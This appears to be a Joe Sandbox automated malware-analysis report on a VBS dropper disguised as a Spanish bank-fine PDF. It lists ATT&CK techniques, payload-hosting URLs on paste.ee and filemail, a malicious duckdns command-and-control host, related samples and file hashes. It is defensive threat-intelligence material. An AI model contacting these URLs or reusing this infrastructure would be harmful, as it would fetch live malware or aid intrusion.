Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	113 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	312 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LETA_pdf.vbs	8%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://files.catbox.moe;	0%	Avira URL Cloud	safe
https://1017.filemail.com/api/f	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
files.catbox.moe	108.181.20.35	true	false	high
paste.ee	172.67.187.200	true	false	high
ip.1017.filemail.com	142.215.209.78	true	false	high
deadpoolstart2025.duckdns.org	181.71.217.114	true	true	unknown
1017.filemail.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://files.catbox.moe/zj1o07.txt	false	high
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f	false	high
https://paste.ee/d/0jfAN	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.microsoft.co	powershell.exe, 00000005.00000002.2294778196.000002416C1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com;	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://1017.filemail.com	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://analytics.paste.ee	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000005.00000002.2292182523.00000241540DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://paste.ee/d/0jfAN	wscript.exe, 00000000.00000003.2302592434.0000023843C89000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305642751.0000023841FBB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2180833243.0000023843C87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2303965134.0000023843F60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2304522122.0000023841FBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://files.catbox.moe;	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://paste.ee/d/0jfANl6r.dll	wscript.exe, 00000000.00000003.2303716053.0000023841D6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305294685.0000023841D83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2304423906.0000023841D80000.00000004.00000020.00020000.00000000.sdmp	false		high
https://1017.filemail.com/api/f	powershell.exe, 00000009.00000002.2566881989.000002CA478A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://paste.ee/#	wscript.exe, 00000000.00000003.2299241877.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298792949.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2302151095.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305487837.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.ee:443/d/0jfAN	wscript.exe, 00000000.00000003.2299241877.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2298792949.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2302151095.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2305487837.0000023841DD7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://analytics.paste.ee;	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2292182523.000002415412C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF2CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF28D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2568313693.000002CA49891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://files.catbox.moe	powershell.exe, 00000009.00000002.2568313693.000002CA49AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com;	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2292182523.000002415415D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2948152527.000001BEAF28D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2568313693.000002CA49891000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.gravatar.com	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high
https://themes.googleusercontent.com	wscript.exe, 00000000.00000002.2305564366.0000023841E04000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.187.200	paste.ee	United States	13335	CLOUDFLARENETUS	false
181.71.217.114	deadpoolstart2025.duckdns.org	Colombia	27831	ColombiaMovilCO	true
142.215.209.78	ip.1017.filemail.com	Canada	32156	HUMBER-COLLEGECA	false
108.181.20.35	files.catbox.moe	Canada	852	ASN852CA	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559694
Start date and time:	2024-11-20 20:32:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LETA_pdf.vbs renamed because original name is a hash value
Original Sample Name:	DOCUMENTO_BANCARIO_APROBACION_MULTA_INMEDIATA_ad18184298489184ff189418941894ca189491841948ff48194919848ca5848919848484911555458_INFORMACION_COMPLETA_pdf.vbs
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winVBS@15/8@4/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 88 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 6284 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1136 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5100 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: LETA_pdf.vbs

Simulations

Behavior and APIs

Time	Type	Description
14:33:44	API Interceptor	2x Sleep call for process: wscript.exe modified
14:33:45	API Interceptor	76x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.187.200	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/tiRif
	EWW.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/gFlKP
	ODC#PO 4500628950098574654323567875765674433##633.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/JxxYu
	Purchase Order PO0193832.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/Bpplq
	Name.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/0kkOm
	517209487.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/s0kJG
	screen_shots.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/GoCAw
	66432890.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/D6Uw6
	96874650.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/yj4hE
	1e#U041e.vbs	Get hash	malicious	AgentTesla	Browse	paste.ee/d/QkK2f
142.215.209.78	seethebestthignswhichgivingbestopportunities.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	188.114.97.3
	ce.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3
	download.exe	Get hash	malicious	Remcos, XWorm	Browse	188.114.97.3
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	Yeni sipari#U015f _TR-59647-WJO-001.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
ip.1017.filemail.com	seethebestthignswhichgivingbestopportunities.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	142.215.209.78
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	142.215.209.78
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
files.catbox.moe	file.exe	Get hash	malicious	FormBook	Browse	108.181.20.35
	https://files.catbox.moe/iz3lne.zip	Get hash	malicious	Unknown	Browse	108.181.20.35
	file.exe	Get hash	malicious	FormBook	Browse	108.181.20.35
	file.exe	Get hash	malicious	FormBook	Browse	108.181.20.35
	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	108.181.20.35
	1.cmd	Get hash	malicious	Unknown	Browse	108.181.20.35
	Exploit Detector.bat	Get hash	malicious	Unknown	Browse	108.181.20.35
	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	108.181.20.35
	SCV.cmd	Get hash	malicious	Unknown	Browse	108.181.20.35
	SCV.cmd	Get hash	malicious	Unknown	Browse	108.181.20.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HUMBER-COLLEGECA	seethebestthignswhichgivingbestopportunities.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	pi-77159.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78
	seethebestthingswithgreatsituationshandletotheprogress.hta	Get hash	malicious	Cobalt Strike, AgentTesla, HTMLPhisher	Browse	142.215.209.78
	Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx	Get hash	malicious	AgentTesla, HTMLPhisher	Browse	142.215.209.78
	bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	#U3010TW-S PO#U3011PO#3311-20241118003.xls	Get hash	malicious	HTMLPhisher, SmokeLoader	Browse	142.215.209.78
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
ASN852CA	i486.elf	Get hash	malicious	Mirai	Browse	161.187.172.232
	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	108.181.189.7
	need quotations.exe	Get hash	malicious	FormBook	Browse	108.181.189.7
	owari.arm.elf	Get hash	malicious	Unknown	Browse	209.89.133.147
	63w24wNW0d.exe	Get hash	malicious	Unknown	Browse	23.16.246.111
	x86.elf	Get hash	malicious	Unknown	Browse	64.114.213.248
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	137.186.136.235
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	199.126.73.29
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	66.183.57.134
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
CLOUDFLARENETUS	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	104.21.93.38
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	172.67.204.56
	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	104.21.93.38
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	172.67.204.56
	plutonium.exe	Get hash	malicious	Unknown	Browse	104.21.235.11
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	plutonium.exe	Get hash	malicious	Unknown	Browse	104.21.235.12
	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.142.245
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	172.67.11.245
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ColombiaMovilCO	aNZZ9YFI6g.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	191.93.117.49
	spc.elf	Get hash	malicious	Mirai	Browse	177.254.129.210
	xd.spc.elf	Get hash	malicious	Mirai	Browse	181.205.208.130
	xd.m68k.elf	Get hash	malicious	Mirai	Browse	181.71.150.123
	xd.arm.elf	Get hash	malicious	Mirai	Browse	191.91.160.75
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	181.69.86.207
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	179.15.63.117
	mpsl.elf	Get hash	malicious	Mirai	Browse	179.14.232.151
	pSU7fuySjo.elf	Get hash	malicious	Mirai, Moobot	Browse	177.255.81.103
	qPZwB2nc1W.elf	Get hash	malicious	Mirai, Moobot	Browse	177.253.157.75

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	plutonium.exe	Get hash	malicious	Unknown	Browse	142.215.209.78 108.181.20.35
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.215.209.78 108.181.20.35
	ahmbf.ps1	Get hash	malicious	Unknown	Browse	142.215.209.78 108.181.20.35
	seethebestthignswhichgivingbestopportunities.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78 108.181.20.35
	LSMU CITATA LT 20-11-2024#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	142.215.209.78 108.181.20.35
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	142.215.209.78 108.181.20.35
	file.exe	Get hash	malicious	LummaC	Browse	142.215.209.78 108.181.20.35
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	142.215.209.78 108.181.20.35
	SnapshotPc.ps1	Get hash	malicious	Unknown	Browse	142.215.209.78 108.181.20.35
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	142.215.209.78 108.181.20.35
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	LxvS6uMf0g.exe	Get hash	malicious	Acrid Stealer	Browse	172.67.187.200
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.187.200

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vct44gq.hos.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4w2ic4xt.eg2.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehhbpuwj.ejt.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kolp0ltr.p1k.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ktftkokq.h4v.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vuyq0ned.ko3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
